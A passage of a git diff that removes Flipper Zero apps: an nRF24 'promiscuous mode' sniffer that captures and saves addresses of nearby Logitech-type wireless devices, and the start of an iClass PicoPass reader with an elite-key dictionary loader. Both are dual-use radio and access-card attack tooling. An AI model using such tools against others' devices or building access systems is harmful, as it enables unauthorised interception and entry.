bytes_to_int32(macmess_hi_b, true); - - //preserve least 7 bits from hi that will be shifted down to lo - preserved = macmess_hi & 0x7f; - macmess_hi >>= 7; - - macmess_lo = bytes_to_int16(macmess_lo_b, true); - macmess_lo >>= 7; - macmess_lo = (preserved << 9) | macmess_lo; - int32_to_bytes(macmess_hi, macmess_hi_b, true); - int16_to_bytes(macmess_lo, macmess_lo_b, true); - memcpy(altaddr, &macmess_hi_b[1], 3); - memcpy(altaddr + 3, macmess_lo_b, 2); -} - -bool validate_address(uint8_t* addr) { - uint8_t bad[][3] = {{0x55, 0x55}, {0xAA, 0xAA}, {0x00, 0x00}, {0xFF, 0xFF}}; - for(int i = 0; i < 4; i++) - for(int j = 0; j < 2; j++) - if(!memcmp(addr + j * 2, bad[i], 2)) return false; - - return true; -} - -bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address) { - bool found = false; - uint8_t packet[32] = {0}; - uint8_t packetsize; - //char printit[65]; - uint8_t status = 0; - status = nrf24_rxpacket(handle, packet, &packetsize, true); - if(status & 0x40) { - if(validate_address(packet)) { - for(int i = 0; i < maclen; i++) address[i] = packet[maclen - 1 - i]; - - /* - alt_address(packet, packet); - - for(i = 0; i < maclen; i++) - address[i + 5] = packet[maclen - 1 - i]; - */ - - //memcpy(address, packet, maclen); - //hexlify(packet, packetsize, printit); - found = true; - } - } - - return found; -} - -uint8_t nrf24_find_channel( - FuriHalSpiBusHandle* handle, - uint8_t* srcmac, - uint8_t* dstmac, - uint8_t maclen, - uint8_t rate, - uint8_t min_channel, - uint8_t max_channel, - bool autoinit) { - uint8_t ping_packet[] = {0x0f, 0x0f, 0x0f, 0x0f}; // this can be anything, we just need an ack - uint8_t ch = max_channel + 1; // means fail - nrf24_configure(handle, rate, srcmac, dstmac, maclen, 2, false, false); - for(ch = min_channel; ch <= max_channel + 1; ch++) { - nrf24_write_reg(handle, REG_RF_CH, ch); - if(nrf24_txpacket(handle, ping_packet, 4, true)) break; - } - - if(autoinit) { - FURI_LOG_D("nrf24", "initializing radio for channel %d", ch); - nrf24_configure(handle, rate, srcmac, dstmac, maclen, ch, false, false); - return ch; - } - - return ch; -} - -bool nrf24_check_connected(FuriHalSpiBusHandle* handle) { - uint8_t status = nrf24_status(handle); - - if(status != 0x00) { - return true; - } else { - return false; - } -} \ No newline at end of file diff --git a/applications/external/nrfsniff/lib/nrf24/nrf24.h b/applications/external/nrfsniff/lib/nrf24/nrf24.h deleted file mode 100644 index 046784bc7..000000000 --- a/applications/external/nrfsniff/lib/nrf24/nrf24.h +++ /dev/null @@ -1,373 +0,0 @@ -#pragma once -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -#define R_REGISTER 0x00 -#define W_REGISTER 0x20 -#define REGISTER_MASK 0x1F -#define ACTIVATE 0x50 -#define R_RX_PL_WID 0x60 -#define R_RX_PAYLOAD 0x61 -#define W_TX_PAYLOAD 0xA0 -#define W_TX_PAYLOAD_NOACK 0xB0 -#define W_ACK_PAYLOAD 0xA8 -#define FLUSH_TX 0xE1 -#define FLUSH_RX 0xE2 -#define REUSE_TX_PL 0xE3 -#define RF24_NOP 0xFF - -#define REG_CONFIG 0x00 -#define REG_EN_AA 0x01 -#define REG_EN_RXADDR 0x02 -#define REG_SETUP_AW 0x03 -#define REG_SETUP_RETR 0x04 -#define REG_DYNPD 0x1C -#define REG_FEATURE 0x1D -#define REG_RF_SETUP 0x06 -#define REG_STATUS 0x07 -#define REG_RX_ADDR_P0 0x0A -#define REG_RF_CH 0x05 -#define REG_TX_ADDR 0x10 - -#define RX_PW_P0 0x11 -#define TX_DS 0x20 -#define MAX_RT 0x10 - -#define nrf24_TIMEOUT 500 -#define nrf24_CE_PIN &gpio_ext_pb2 -#define nrf24_HANDLE &furi_hal_spi_bus_handle_external - -/* Low level API */ - -/** Write device register - * - * @param handle - pointer to FuriHalSpiHandle - * @param reg - register - * @param data - data to write - * - * @return device status - */ -uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data); - -/** Write buffer to device register - * - * @param handle - pointer to FuriHalSpiHandle - * @param reg - register - * @param data - data to write - * @param size - size of data to write - * - * @return device status - */ -uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size); - -/** Read device register - * - * @param handle - pointer to FuriHalSpiHandle - * @param reg - register - * @param[out] data - pointer to data - * - * @return device status - */ -uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size); - -/** Power up the radio for operation - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle); - -/** Power down the radio - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle); - -/** Sets the radio to RX mode - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle); - -/** Sets the radio to TX mode - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle); - -/*=============================================================================================================*/ - -/* High level API */ - -/** Must call this before using any other nrf24 API - * - */ -void nrf24_init(); - -/** Must call this when we end using nrf24 device - * - */ -void nrf24_deinit(); - -/** Send flush rx command - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle); - -/** Send flush tx command - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return device status - */ -uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle); - -/** Gets the RX packet length in data pipe 0 - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return packet length in data pipe 0 - */ -uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle); - -/** Sets the RX packet length in data pipe 0 - * - * @param handle - pointer to FuriHalSpiHandle - * @param len - length to set - * - * @return device status - */ -uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len); - -/** Gets configured length of MAC address - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return MAC address length - */ -uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle); - -/** Sets configured length of MAC address - * - * @param handle - pointer to FuriHalSpiHandle - * @param maclen - length to set MAC address to, must be greater than 1 and less than 6 - * - * @return MAC address length - */ -uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen); - -/** Gets the current status flags from the STATUS register - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return status flags - */ -uint8_t nrf24_status(FuriHalSpiBusHandle* handle); - -/** Gets the current transfer rate - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return transfer rate in bps - */ -uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle); - -/** Sets the transfer rate - * - * @param handle - pointer to FuriHalSpiHandle - * @param rate - the transfer rate in bps - * - * @return device status - */ -uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate); - -/** Gets the current channel - * In nrf24, the channel number is multiplied times 1MHz and added to 2400MHz to get the frequency - * - * @param handle - pointer to FuriHalSpiHandle - * - * @return channel - */ -uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle); - -/** Sets the channel - * - * @param handle - pointer to FuriHalSpiHandle - * @param frequency - the frequency in hertz - * - * @return device status - */ -uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan); - -/** Gets the source mac address - * - * @param handle - pointer to FuriHalSpiHandle - * @param[out] mac - the source mac address - * - * @return device status - */ -uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac); - -/** Sets the source mac address - * - * @param handle - pointer to FuriHalSpiHandle - * @param mac - the mac address to set - * @param size - the size of the mac address (2 to 5) - * - * @return device status - */ -uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size); - -/** Gets the dest mac address - * - * @param handle - pointer to FuriHalSpiHandle - * @param[out] mac - the source mac address - * - * @return device status - */ -uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac); - -/** Sets the dest mac address - * - * @param handle - pointer to FuriHalSpiHandle - * @param mac - the mac address to set - * @param size - the size of the mac address (2 to 5) - * - * @return device status - */ -uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size); - -/** Reads RX packet - * - * @param handle - pointer to FuriHalSpiHandle - * @param[out] packet - the packet contents - * @param[out] packetsize - size of the received packet - * @param full - boolean set to true, packet length is determined by RX_PW_P0 register, false it is determined by dynamic payload length command - * - * @return device status - */ -uint8_t - nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full); - -/** Sends TX packet - * - * @param handle - pointer to FuriHalSpiHandle - * @param packet - the packet contents - * @param size - packet size - * @param ack - boolean to determine whether an ACK is required for the packet or not - * - * @return device status - */ -uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack); - -/** Configure the radio - * This is not comprehensive, but covers a lot of the common configuration options that may be changed - * @param handle - pointer to FuriHalSpiHandle - * @param rate - transfer rate in Mbps (1 or 2) - * @param srcmac - source mac address - * @param dstmac - destination mac address - * @param maclen - length of mac address - * @param channel - channel to tune to - * @param noack - if true, disable auto-acknowledge - * @param disable_aa - if true, disable ShockBurst - * - */ -void nrf24_configure( - FuriHalSpiBusHandle* handle, - uint8_t rate, - uint8_t* srcmac, - uint8_t* dstmac, - uint8_t maclen, - uint8_t channel, - bool noack, - bool disable_aa); - -/** Configures the radio for "promiscuous mode" and primes it for rx - * This is not an actual mode of the nrf24, but this function exploits a few bugs in the chip that allows it to act as if it were. - * See http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html for details. - * @param handle - pointer to FuriHalSpiHandle - * @param channel - channel to tune to - * @param rate - transfer rate in Mbps (1 or 2) - */ -void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate); - -/** Listens for a packet and returns first possible address sniffed - * Call this only after calling nrf24_init_promisc_mode - * @param handle - pointer to FuriHalSpiHandle - * @param maclen - length of target mac address - * @param[out] addresses - sniffed address - * - * @return success - */ -bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address); - -/** Sends ping packet on each channel for designated tx mac looking for ack - * - * @param handle - pointer to FuriHalSpiHandle - * @param srcmac - source address - * @param dstmac - destination address - * @param maclen - length of address - * @param rate - transfer rate in Mbps (1 or 2) - * @param min_channel - channel to start with - * @param max_channel - channel to end at - * @param autoinit - if true, automatically configure radio for this channel - * - * @return channel that the address is listening on, if this value is above the max_channel param, it failed - */ -uint8_t nrf24_find_channel( - FuriHalSpiBusHandle* handle, - uint8_t* srcmac, - uint8_t* dstmac, - uint8_t maclen, - uint8_t rate, - uint8_t min_channel, - uint8_t max_channel, - bool autoinit); - -/** Converts 64 bit value into uint8_t array - * @param val - 64-bit integer - * @param[out] out - bytes out - * @param bigendian - if true, convert as big endian, otherwise little endian - */ -void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian); - -/** Converts 32 bit value into uint8_t array - * @param val - 32-bit integer - * @param[out] out - bytes out - * @param bigendian - if true, convert as big endian, otherwise little endian - */ -void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian); - -/** Converts uint8_t array into 32 bit value - * @param bytes - uint8_t array - * @param bigendian - if true, convert as big endian, otherwise little endian - * - * @return 32-bit value - */ -uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian); - -/** Check if the nrf24 is connected - * @param handle - pointer to FuriHalSpiHandle - * - * @return true if connected, otherwise false -*/ -bool nrf24_check_connected(FuriHalSpiBusHandle* handle); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/nrfsniff/nrfsniff.c b/applications/external/nrfsniff/nrfsniff.c deleted file mode 100644 index 39a9b68d4..000000000 --- a/applications/external/nrfsniff/nrfsniff.c +++ /dev/null @@ -1,463 +0,0 @@ -#include -#include -#include -#include -#include -#include - -#include -#include - -#define LOGITECH_MAX_CHANNEL 85 -#define COUNT_THRESHOLD 2 -#define DEFAULT_SAMPLE_TIME 4000 -#define MAX_ADDRS 100 -#define MAX_CONFIRMED 32 - -#define NRFSNIFF_APP_PATH_FOLDER STORAGE_APP_DATA_PATH_PREFIX -#define NRFSNIFF_APP_FILENAME "addresses.txt" -#define TAG "nrfsniff" - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef struct { - FuriMutex* mutex; -} PluginState; - -char rate_text_fmt[] = "Transfer rate: %dMbps"; -char sample_text_fmt[] = "Sample Time: %d ms"; -char channel_text_fmt[] = "Channel: %d Sniffing: %s"; -char preamble_text_fmt[] = "Preamble: %02X"; -char sniff_text_fmt[] = "Found: %d Unique: %u"; -char addresses_header_text[] = "Address,rate"; -char sniffed_address_fmt[] = "%s,%d"; -char rate_text[46]; -char channel_text[38]; -char sample_text[32]; -char preamble_text[14]; -char sniff_text[38]; -char sniffed_address[14]; - -uint8_t target_channel = 0; -uint32_t found_count = 0; -uint32_t unique_saved_count = 0; -uint32_t sample_time = DEFAULT_SAMPLE_TIME; -uint8_t target_rate = 8; // rate can be either 8 (2Mbps) or 0 (1Mbps) -uint8_t target_preamble[] = {0xAA, 0x00}; -uint8_t sniffing_state = false; -char top_address[12]; - -uint8_t candidates[MAX_ADDRS][5] = {0}; // last 100 sniffed addresses -uint32_t counts[MAX_ADDRS]; -uint8_t confirmed[MAX_CONFIRMED][5] = {0}; // first 32 confirmed addresses -uint8_t confirmed_idx = 0; -uint32_t total_candidates = 0; -uint32_t candidate_idx = 0; - -static int get_addr_index(uint8_t* addr, uint8_t addr_size) { - for(uint32_t i = 0; i < total_candidates; i++) { - uint8_t* arr_item = candidates[i]; - if(!memcmp(arr_item, addr, addr_size)) return i; - } - - return -1; -} - -static int get_highest_idx() { - uint32_t highest = 0; - int highest_idx = 0; - for(uint32_t i = 0; i < total_candidates; i++) { - if(counts[i] > highest) { - highest = counts[i]; - highest_idx = i; - } - } - - return highest_idx; -} - -// if array is full, start over from beginning -static void insert_addr(uint8_t* addr, uint8_t addr_size) { - if(candidate_idx >= MAX_ADDRS) candidate_idx = 0; - - memcpy(candidates[candidate_idx], addr, addr_size); - counts[candidate_idx] = 1; - if(total_candidates < MAX_ADDRS) total_candidates++; - candidate_idx++; -} - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const PluginState* plugin_state = ctx; - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - uint8_t rate = 2; - char sniffing[] = "Yes"; - - // border around the edge of the screen - canvas_draw_frame(canvas, 0, 0, 128, 64); - canvas_set_font(canvas, FontSecondary); - - if(target_rate == 0) rate = 1; - - if(!sniffing_state) strcpy(sniffing, "No"); - - snprintf(rate_text, sizeof(rate_text), rate_text_fmt, (int)rate); - snprintf(channel_text, sizeof(channel_text), channel_text_fmt, (int)target_channel, sniffing); - snprintf(sample_text, sizeof(sample_text), sample_text_fmt, (int)sample_time); - //snprintf(preamble_text, sizeof(preamble_text), preamble_text_fmt, target_preamble[0]); - snprintf(sniff_text, sizeof(sniff_text), sniff_text_fmt, found_count, unique_saved_count); - snprintf( - sniffed_address, sizeof(sniffed_address), sniffed_address_fmt, top_address, (int)rate); - canvas_draw_str_aligned(canvas, 10, 10, AlignLeft, AlignBottom, rate_text); - canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, sample_text); - canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, channel_text); - //canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, preamble_text); - canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, sniff_text); - canvas_draw_str_aligned(canvas, 30, 50, AlignLeft, AlignBottom, addresses_header_text); - canvas_draw_str_aligned(canvas, 30, 60, AlignLeft, AlignBottom, sniffed_address); - - furi_mutex_release(plugin_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void hexlify(uint8_t* in, uint8_t size, char* out) { - memset(out, 0, size * 2); - for(int i = 0; i < size; i++) - snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]); -} - -static bool save_addr_to_file( - Storage* storage, - uint8_t* data, - uint8_t size, - NotificationApp* notification) { - size_t file_size = 0; - uint8_t linesize = 0; - char filepath[42] = {0}; - char addrline[14] = {0}; - char ending[4]; - uint8_t* file_contents; - uint8_t rate = 1; - Stream* stream = file_stream_alloc(storage); - - if(target_rate == 8) rate = 2; - snprintf(ending, sizeof(ending), ",%d\n", rate); - hexlify(data, size, addrline); - strcat(addrline, ending); - linesize = strlen(addrline); - strcpy(filepath, NRFSNIFF_APP_PATH_FOLDER); - strcat(filepath, "/"); - strcat(filepath, NRFSNIFF_APP_FILENAME); - stream_seek(stream, 0, StreamOffsetFromStart); - - // check if address already exists in file - if(file_stream_open(stream, filepath, FSAM_READ_WRITE, FSOM_OPEN_APPEND)) { - bool found = false; - file_size = stream_size(stream); - stream_seek(stream, 0, StreamOffsetFromStart); - if(file_size > 0) { - file_contents = malloc(file_size + 1); - memset(file_contents, 0, file_size + 1); - if(stream_read(stream, file_contents, file_size) > 0) { - char* line = strtok((char*)file_contents, "\n"); - - while(line != NULL) { - if(!memcmp(line, addrline, 12)) { - found = true; - break; - } - line = strtok(NULL, "\n"); - } - } - free(file_contents); - } - - if(found) { - FURI_LOG_I(TAG, "Address exists in file. Ending save process."); - stream_free(stream); - return false; - } else { - if(stream_write(stream, (uint8_t*)addrline, linesize) != linesize) { - FURI_LOG_I(TAG, "Failed to write bytes to file stream."); - stream_free(stream); - return false; - } else { - FURI_LOG_I(TAG, "Found a new address: %s", addrline); - FURI_LOG_I(TAG, "Save successful!"); - - notification_message(notification, &sequence_success); - - stream_free(stream); - unique_saved_count++; - return true; - } - } - } else { - FURI_LOG_I(TAG, "Cannot open file \"%s\"", filepath); - stream_free(stream); - return false; - } -} - -void alt_address(uint8_t* addr, uint8_t* altaddr) { - uint8_t macmess_hi_b[4]; - uint32_t macmess_hi; - uint8_t macmess_lo; - uint8_t preserved; - uint8_t tmpaddr[5]; - - // swap bytes - for(int i = 0; i < 5; i++) tmpaddr[i] = addr[4 - i]; - - // get address into 32-bit and 8-bit variables - memcpy(macmess_hi_b, tmpaddr, 4); - macmess_lo = tmpaddr[4]; - - macmess_hi = bytes_to_int32(macmess_hi_b, true); - - //preserve lowest bit from hi to shift to low - preserved = macmess_hi & 1; - macmess_hi >>= 1; - macmess_lo >>= 1; - macmess_lo = (preserved << 7) | macmess_lo; - int32_to_bytes(macmess_hi, macmess_hi_b, true); - memcpy(tmpaddr, macmess_hi_b, 4); - tmpaddr[4] = macmess_lo; - - // swap bytes back - for(int i = 0; i < 5; i++) altaddr[i] = tmpaddr[4 - i]; -} - -static bool previously_confirmed(uint8_t* addr) { - bool found = false; - for(int i = 0; i < MAX_CONFIRMED; i++) { - if(!memcmp(confirmed[i], addr, 5)) { - found = true; - break; - } - } - - return found; -} - -static void wrap_up(Storage* storage, NotificationApp* notification) { - uint8_t ch; - uint8_t addr[5]; - uint8_t altaddr[5]; - char trying[12]; - int idx; - uint8_t rate = 0; - if(target_rate == 8) rate = 2; - - nrf24_set_idle(nrf24_HANDLE); - - while(true) { - idx = get_highest_idx(); - if(counts[idx] < COUNT_THRESHOLD) break; - - counts[idx] = 0; - memcpy(addr, candidates[idx], 5); - hexlify(addr, 5, trying); - FURI_LOG_I(TAG, "trying address %s", trying); - ch = nrf24_find_channel(nrf24_HANDLE, addr, addr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false); - FURI_LOG_I(TAG, "find_channel returned %d", (int)ch); - if(ch > LOGITECH_MAX_CHANNEL) { - alt_address(addr, altaddr); - hexlify(altaddr, 5, trying); - FURI_LOG_I(TAG, "trying alternate address %s", trying); - ch = nrf24_find_channel( - nrf24_HANDLE, altaddr, altaddr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false); - FURI_LOG_I(TAG, "find_channel returned %d", (int)ch); - memcpy(addr, altaddr, 5); - } - - if(ch <= LOGITECH_MAX_CHANNEL) { - hexlify(addr, 5, top_address); - found_count++; - save_addr_to_file(storage, addr, 5, notification); - if(confirmed_idx < MAX_CONFIRMED) memcpy(confirmed[confirmed_idx++], addr, 5); - break; - } - } -} - -static void clear_cache() { - found_count = 0; - unique_saved_count = 0; - confirmed_idx = 0; - candidate_idx = 0; - target_channel = 2; - total_candidates = 0; - memset(candidates, 0, sizeof(candidates)); - memset(counts, 0, sizeof(counts)); - memset(confirmed, 0, sizeof(confirmed)); -} - -static void start_sniffing() { - nrf24_init_promisc_mode(nrf24_HANDLE, target_channel, target_rate); -} - -int32_t nrfsniff_app(void* p) { - UNUSED(p); - uint8_t address[5] = {0}; - uint32_t start = 0; - hexlify(address, 5, top_address); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - PluginState* plugin_state = malloc(sizeof(PluginState)); - plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!plugin_state->mutex) { - furi_message_queue_free(event_queue); - FURI_LOG_E(TAG, "cannot create mutex\r\n"); - free(plugin_state); - return 255; - } - - nrf24_init(); - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, plugin_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_migrate(storage, EXT_PATH("nrfsniff"), NRFSNIFF_APP_PATH_FOLDER); - storage_common_mkdir(storage, NRFSNIFF_APP_PATH_FOLDER); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress || - (event.input.type == InputTypeLong && event.input.key == InputKeyBack)) { - switch(event.input.key) { - case InputKeyUp: - // toggle rate 1/2Mbps - if(!sniffing_state) { - if(target_rate == 0) - target_rate = 8; - else - target_rate = 0; - } - break; - case InputKeyDown: - // toggle preamble - if(!sniffing_state) { - if(target_preamble[0] == 0x55) - target_preamble[0] = 0xAA; - else - target_preamble[0] = 0x55; - - nrf24_set_src_mac(nrf24_HANDLE, target_preamble, 2); - } - break; - case InputKeyRight: - // increment channel - //if(!sniffing_state && target_channel <= LOGITECH_MAX_CHANNEL) - // target_channel++; - sample_time += 500; - break; - case InputKeyLeft: - // decrement channel - //if(!sniffing_state && target_channel > 0) target_channel--; - if(sample_time > 500) sample_time -= 500; - break; - case InputKeyOk: - // toggle sniffing - if(nrf24_check_connected(nrf24_HANDLE)) { - sniffing_state = !sniffing_state; - if(sniffing_state) { - clear_cache(); - start_sniffing(); - start = furi_get_tick(); - } else { - wrap_up(storage, notification); - } - } else { - notification_message(notification, &sequence_error); - } - - break; - case InputKeyBack: - if(event.input.type == InputTypeLong) processing = false; - break; - default: - break; - } - } - } - } - - if(sniffing_state) { - if(nrf24_sniff_address(nrf24_HANDLE, 5, address)) { - int idx; - uint8_t* top_addr; - if(!previously_confirmed(address)) { - idx = get_addr_index(address, 5); - if(idx == -1) - insert_addr(address, 5); - else - counts[idx]++; - - top_addr = candidates[get_highest_idx()]; - hexlify(top_addr, 5, top_address); - } - } - - if(furi_get_tick() - start >= sample_time) { - target_channel++; - if(target_channel > LOGITECH_MAX_CHANNEL) target_channel = 2; - { - wrap_up(storage, notification); - start_sniffing(); - } - - start = furi_get_tick(); - } - } - - view_port_update(view_port); - furi_mutex_release(plugin_state->mutex); - } - - clear_cache(); - sample_time = DEFAULT_SAMPLE_TIME; - target_rate = 8; // rate can be either 8 (2Mbps) or 0 (1Mbps) - sniffing_state = false; - nrf24_deinit(); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_STORAGE); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(plugin_state->mutex); - free(plugin_state); - - return 0; -} diff --git a/applications/external/nrfsniff/nrfsniff_10px.png b/applications/external/nrfsniff/nrfsniff_10px.png deleted file mode 100644 index 348b35eca..000000000 Binary files a/applications/external/nrfsniff/nrfsniff_10px.png and /dev/null differ diff --git a/applications/external/picopass/125_10px.png b/applications/external/picopass/125_10px.png deleted file mode 100644 index ce01284a2..000000000 Binary files a/applications/external/picopass/125_10px.png and /dev/null differ diff --git a/applications/external/picopass/application.fam b/applications/external/picopass/application.fam deleted file mode 100644 index 94d328a09..000000000 --- a/applications/external/picopass/application.fam +++ /dev/null @@ -1,22 +0,0 @@ -App( - appid="picopass", - name="[iClass] PicoPass", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="picopass_app", - requires=[ - "storage", - "gui", - ], - stack_size=4 * 1024, - order=30, - fap_icon="125_10px.png", - fap_category="NFC", - fap_libs=["mbedtls"], - fap_private_libs=[ - Lib( - name="loclass", - ), - ], - fap_icon_assets="icons", -) diff --git a/applications/external/picopass/helpers/iclass_elite_dict.c b/applications/external/picopass/helpers/iclass_elite_dict.c deleted file mode 100644 index f92dce0aa..000000000 --- a/applications/external/picopass/helpers/iclass_elite_dict.c +++ /dev/null @@ -1,164 +0,0 @@ -#include "iclass_elite_dict.h" - -#include -#include - -#define ICLASS_ELITE_DICT_FLIPPER_NAME APP_DATA_PATH("assets/iclass_elite_dict.txt") -#define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt") -#define ICLASS_STANDARD_DICT_FLIPPER_NAME APP_DATA_PATH("assets/iclass_standard_dict.txt") - -#define TAG "IclassEliteDict" - -#define ICLASS_ELITE_KEY_LINE_LEN (17) -#define ICLASS_ELITE_KEY_LEN (8) - -struct IclassEliteDict { - Stream* stream; - uint32_t total_keys; -}; - -bool iclass_elite_dict_check_presence(IclassEliteDictType dict_type) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - bool dict_present = false; - if(dict_type == IclassEliteDictTypeFlipper) { - dict_present = - (storage_common_stat(storage, ICLASS_ELITE_DICT_FLIPPER_NAME, NULL) == FSE_OK); - } else if(dict_type == IclassEliteDictTypeUser) { - dict_present = (storage_common_stat(storage, ICLASS_ELITE_DICT_USER_NAME, NULL) == FSE_OK); - } else if(dict_type == IclassStandardDictTypeFlipper) { - dict_present = - (storage_common_stat(storage, ICLASS_STANDARD_DICT_FLIPPER_NAME, NULL) == FSE_OK); - } - - furi_record_close(RECORD_STORAGE); - - return dict_present; -} - -IclassEliteDict* iclass_elite_dict_alloc(IclassEliteDictType dict_type) { - IclassEliteDict* dict = malloc(sizeof(IclassEliteDict)); - Storage* storage = furi_record_open(RECORD_STORAGE); - dict->stream = buffered_file_stream_alloc(storage); - FuriString* next_line = furi_string_alloc(); - - bool dict_loaded = false; - do { - if(dict_type == IclassEliteDictTypeFlipper) { - if(!buffered_file_stream_open( - dict->stream, ICLASS_ELITE_DICT_FLIPPER_NAME, FSAM_READ, FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(dict->stream); - break; - } - } else if(dict_type == IclassEliteDictTypeUser) { - if(!buffered_file_stream_open( - dict->stream, ICLASS_ELITE_DICT_USER_NAME, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS)) { - buffered_file_stream_close(dict->stream); - break; - } - } else if(dict_type == IclassStandardDictTypeFlipper) { - if(!buffered_file_stream_open( - dict->stream, - ICLASS_STANDARD_DICT_FLIPPER_NAME, - FSAM_READ, - FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(dict->stream); - break; - } - } - - // Read total amount of keys - while(true) { //-V547 - if(!stream_read_line(dict->stream, next_line)) break; - if(furi_string_get_char(next_line, 0) == '#') continue; - if(furi_string_size(next_line) != ICLASS_ELITE_KEY_LINE_LEN) continue; - dict->total_keys++; - } - furi_string_reset(next_line); - stream_rewind(dict->stream); - - dict_loaded = true; - FURI_LOG_I(TAG, "Loaded dictionary with %lu keys", dict->total_keys); - } while(false); - - if(!dict_loaded) { //-V547 - buffered_file_stream_close(dict->stream); - free(dict); - dict = NULL; - } - - furi_record_close(RECORD_STORAGE); - furi_string_free(next_line); - - return dict; -} - -void iclass_elite_dict_free(IclassEliteDict* dict) { - furi_assert(dict); - furi_assert(dict->stream); - - buffered_file_stream_close(dict->stream); - stream_free(dict->stream); - free(dict); -} - -uint32_t iclass_elite_dict_get_total_keys(IclassEliteDict* dict) { - furi_assert(dict); - - return dict->total_keys; -} - -bool iclass_elite_dict_get_next_key(IclassEliteDict* dict, uint8_t* key) { - furi_assert(dict); - furi_assert(dict->stream); - - uint8_t key_byte_tmp = 0; - FuriString* next_line = furi_string_alloc(); - - bool key_read = false; - *key = 0ULL; - while(!key_read) { - if(!stream_read_line(dict->stream, next_line)) break; - if(furi_string_get_char(next_line, 0) == '#') continue; - if(furi_string_size(next_line) != ICLASS_ELITE_KEY_LINE_LEN) continue; - for(uint8_t i = 0; i < ICLASS_ELITE_KEY_LEN * 2; i += 2) { - args_char_to_hex( - 